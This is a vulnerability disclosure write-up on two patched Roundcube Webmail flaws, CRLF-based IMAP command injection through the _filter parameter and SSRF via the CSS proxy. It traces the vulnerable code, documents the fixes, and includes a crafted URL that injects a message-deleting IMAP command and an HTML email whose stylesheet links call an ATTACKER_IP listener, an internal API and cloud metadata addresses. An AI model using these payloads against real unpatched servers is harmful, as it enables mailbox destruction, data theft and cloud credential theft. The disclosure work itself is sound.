Wed 08 April 2026
OVE-2026-8 & OVE-2026-9
Roundcube Webmail : IMAP Command Injection & SSRF via CSS Proxying
March 24, 2026 · CVSS 8.1 High · CVSS 6.8 Medium · Roundcube < 1.6.14, 1.5.14, 17 RC5
| CVE ID | CVSS | Affected | Fixed |
|---|---|---|---|
| OVE-2026-8 | 8.1 High | < 1.6.14, 1.5.14, 17 RC5 | 1.6.14, 1.5.14, 17 RC5 |
| OVE-2026-9 | 6.8 Medium | < 1.6.14, 1.5.14, 17 RC5 | 1.6.14, 1.5.14, 17 RC5 |
The Story
It started the way most audits do — with a git clone . At Ostorlab, I had been researching a known stored XSS vulnerability in Roundcube involving SVG <animate> tags — analyzing the CVE, tracing the sanitizer logic, and building a working exploit. That work pulled me deeper into the codebase. What began as targeted CVE research turned into a broader source code review, a week before the release of Roundcube 1.5.14 / 1.6.14 / 1.7 RC5.
I wasn't looking for anything specific anymore. I was reading code, tracing data flows, following user input from HTTP parameters to wherever it ended up. Two paths caught my attention: one that led from a search filter parameter straight into a raw IMAP socket, and another that turned Roundcube's CSS rendering pipeline into an open proxy for internal network requests.
Both findings were submitted to the Roundcube security team via HackerOne. Both came back as duplicates. The new release that landed about a week later patched both issues. This article documents both findings as I found them: the vulnerable code, the exploitation chain, and the fix.
IMAP Command Injection

Server-Side Request Forgery via CSS proxying

OVE-2026-8 : IMAP Command Injection via _filter Parameter
The Sink
When a Roundcube user searches their mailbox, the application assembles an IMAP SEARCH command from several URL parameters. One of them is _filter — a predefined keyword like UNSEEN or FLAGGED that narrows the search scope. The value is read from the GET request and eventually concatenated into a raw IMAP command string that gets written directly to the IMAP server's TCP socket.
The question was simple: what happens if _filter contains something other than a search keyword?
Tracing the Data Flow
I started at the entry point in program/actions/mail/search.php, line 45:
$filter = trim(rcube_utils::get_input_string('_filter', rcube_utils::INPUT_GET));
The get_input_string() function calls strip_tags() on the input — removing HTML tags — followed by trim(). Neither of these functions touch \r\n characters. A CRLF sequence embedded in the parameter value passes through both functions completely intact.
The $filter value flows through search_input() at line 58, which uses it verbatim when it's a non-empty, non-ALL string. From there it reaches rcube_imap_generic::search() in program/lib/Roundcube/rcube_imap_generic.php, where it's appended to the IMAP command parameters:
// rcube_imap_generic.php, line 2010-2019
$criteria = trim($search_str);
$params = '';
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria; // raw concatenation, no escaping
} else {
$params .= 'ALL';
}
The $criteria string — still containing any embedded CRLF — is concatenated directly into $params. This gets passed to execute(), which calls r_implode(). For string arguments, r_implode() returns the value verbatim:
// rcube_imap_generic.php, line 4099-4102
function r_implode($element) {
if (!is_array($element)) {
return $element; // verbatim return — no escaping
}
// ...
}
Finally, putLineC() writes the assembled command to the IMAP socket. It only splits on the literal-string pattern {N}\r\n, not on bare CRLF sequences. So the entire payload — legitimate command plus injected command — is written to the socket as a single blob:
// rcube_imap_generic.php, line 147
$parts = preg_split("/(\{[0-9]+\}\r\n)/m", $string, -1, PREG_SPLIT_DELIM_CAPTURE);
// Bare \r\n does NOT cause a split — the whole string goes in one fwrite()
The IMAP server, being a line-delimited protocol, reads the \r\n as a command terminator and parses what follows as a completely separate, attacker-controlled command.
The Irony: escape() Exists But Is Never Called
The codebase already contains a function that would neutralize this attack. rcube_imap_generic::escape() at line 4293 detects CRLF characters and converts the string into an IMAP literal ({N}\r\n<value>), which the server treats as data rather than a command boundary:
function escape($string) {
if (!preg_match('/[\r\n\x00\x80-\xFF]/', $string)) {
return '"' . addcslashes($string, '\\"') . '"';
}
// CRLF detected → safe literal-string encoding
return sprintf("{%d}\r\n%s", strlen($string), $string);
}
But search.php never calls escape() on $filter. It's called on $search(line 65) — the user's free-text query — but the filter parameter takes a different code path entirely and reaches the socket raw.
What the Attack Looks Like
A single crafted URL is all it takes:
GET /?_task=mail&_action=search&_filter=UNSEEN%0d%0aA099+STORE+1:*+%2BFLAGS+(\Deleted)
The %0d%0a decodes to \r\n. After Roundcube processes it, the IMAP server receives:
A001 UID SEARCH UNSEEN ← legitimate search
A099 STORE 1:* +FLAGS (\Deleted) ← injected command: flag all messages as deleted
Two separate IMAP commands from a single HTTP parameter. The injected command runs with the full privileges of the authenticated user's IMAP session.
Proof-Of-Concept
The following video demonstrates the full exploitation chain — from crafting the malicious URL to observing the injected IMAP command execute on the server.
IMAP Command Injection Proof-Of-Concept Video
Severity
Any authenticated Roundcube user can inject arbitrary IMAP commands through a single GET parameter. The attack surface includes:
- Mailbox manipulation: mark all messages as deleted, move messages between folders
- Data exfiltration: FETCH commands to retrieve message contents
- ACL abuse: SETACL to grant an attacker's account read access to the victim's mailbox folders
- Denial of service: EXPUNGE to permanently remove messages, SUBSCRIBE/UNSUBSCRIBE to disrupt folder visibility
The Fix
The patch strips CRLF characters from the search string before it reaches the IMAP socket, replacing them with spaces:
// program/actions/mail/search.php
// We pass the filter as-is into IMAP SEARCH command. A newline could be used
// to inject extra commands, so we remove these.
$search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
The same sanitization was also applied to $message_id in send.php to close a similar injection path through draft message handling:
// program/actions/mail/send.php
$message_id = preg_replace('/[\r\n]+/', '', $message_id);
Any embedded CRLF — the key to injecting a second IMAP command — is neutralized before it reaches the socket.
OVE-2026-9 : Server-Side Request Forgery via CSS Proxying
The Sink
The second finding came from an entirely different part of the codebase. When Roundcube renders an HTML email, it rewrites external CSS <link> tags to point to an internal proxy endpoint (modcss.php). This is a design choice — it prevents the victim's browser from directly fetching attacker-controlled URLs, which could be used for tracking. But it creates a new problem: the Roundcube server now makes the request instead.
Tracing the Data Flow
When Roundcube's HTML sanitizer (rcube_washtml) encounters a <link rel="stylesheet"> tag in an email, the washtml_link_callback() function in program/actions/mail/index.php (line 1285) stores the URL in the PHP session:
// index.php:1283-1292
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) {
$tempurl = 'tmp-' . md5($attrib['href']) . '.css';
$_SESSION['modcssurls'][$tempurl] = $attrib['href']; // stored as-is, no host validation
$attrib['href'] = $rcmail->url([
'task' => 'utils',
'action' => 'modcss',
'u' => $tempurl,
]);
}
The URL is stored verbatim — the only check is that it starts with http:// or https://. No hostname allowlist, no IP blocklist, no restriction on private or loopback addresses.
When the victim opens the email and clicks "Show remote content", the browser requests the rewritten URL, which hits modcss.php. The handler retrieves the original URL from the session and makes a server-side HTTP GET using GuzzleHttp:
// modcss.php:40-52
$realurl = $_SESSION['modcssurls'][$url];
if (!preg_match('~^https?://~i', $realurl)) {
$rcmail->output->sendExitError(403, 'Invalid URL'); // only scheme check
}
$client = rcube::get_instance()->get_http_client();
$response = $client->get($realurl); // server fetches arbitrary URL
Between the session storage and the HTTP request, there is no hostname resolution, no IP validation, and no check against private network ranges. The Roundcube server will happily fetch http://169.254.169.254/latest/meta-data/, http://127.0.0.1:3306/, or any other internal URL.
What the Attack Looks Like
The attacker delivers an HTML email with embedded <link> tags:
<html>
<head>
<link rel="stylesheet" href="http://ATTACKER_IP:4000/callback.css">
<link rel="stylesheet" href="http://internal-api:8080/api/secrets">
</head>
<body>Please review the attached quarterly report.</body>
</html>
When the victim views the email and allows remote content: 1. Roundcube stores both URLs in $_SESSION['modcssurls'] 2. The browser requests /?_task=utils&_action=modcss&_u=tmp-{md5} for each 3. modcss.php fetches the attacker's listener and the internal API endpoint server-side 4. The attacker's listener logs a hit from the Roundcube server IP (not the victim's browser) 5. If the internal API returns text/css or text/plain, the response body is proxied back to the browser
Testing Confirmation
I tested this against Roundcube 1.6.13 in a Docker environment with an internal-api container accessible only from within the Docker network. The results:
-
Callback confirmation — the attacker's HTTP listener received a request from the Roundcube container's IP , with User-Agent: GuzzleHttp/7. The request originated from the server, not the victim's browser.
-
Internal service exfiltration — the internal API endpoint, unreachable from the victim's browser, returned its response through the modcss proxy. The response body was visible in the browser's DevTools Network tab.
-
Cloud metadata — on a GCP instance,
http://169.254.169.254/returned a response withContent-Type: application/text. Becausemodcss.phponly proxiestext/cssandtext/plaincontent types, the response body was blocked. However, the SSRF still fired — confirmed by theGuzzleHttp/7user-agent in the Apache access logs and the near-instant response time (proving the server reached the metadata endpoint). On AWS with IMDSv1, the metadata endpoint returnstext/plain, which would be proxied back to the browser.
Proof-Of-Concept
The following video demonstrates the SSRF in action — sending a crafted email with internal URLs embedded in CSS <link> tags and observing the server-side requests.
SSRF via CSS Proxying Proof-Of-Concept Video
Severity
Any attacker who can deliver an email to a Roundcube mailbox can trigger this SSRF with a single user interaction. The impact includes:
- Internal network reconnaissance: probe services bound to loopback or VPC-internal hosts
- Cloud credential theft: AWS IMDSv1 returns IAM credentials as text/plain, fully proxied
- Data exfiltration: any internal service returning text/css or text/plain has its response proxied to the browser
The Fix
The fix introduced a new rcube_utils::is_local_url() function using the mlocati/ip-lib library, which checks URLs against private, loopback, and link-local ranges:
// program/lib/Roundcube/rcube_utils.php — new is_local_url() method
// Blocked ranges:
// IPv4: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16
// IPv6: ::1/128, fc00::/7
// Hostnames: localhost, localhost.localdomain
This check is applied at two points. First, when the <link> tag is stored in the session, local URLs are now rejected before they ever reach the proxy:
// program/actions/mail/index.php
if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
&& !rcube_utils::is_local_url($attrib['href'])) {
Second, the HTTP client in modcss.php now disables redirects, preventing attackers from bypassing the URL validation via redirect chains:
// program/actions/utils/modcss.php
$client = rcube::get_instance()->get_http_client(['allow_redirects' => false]);
References
| Resource | Link |
|---|---|
| Patch Fix Changes between Roundcube 1.6.13 & 1.6.14 | https://github.com/roundcube/roundcubemail/compare/1.6.13...1.6.14 |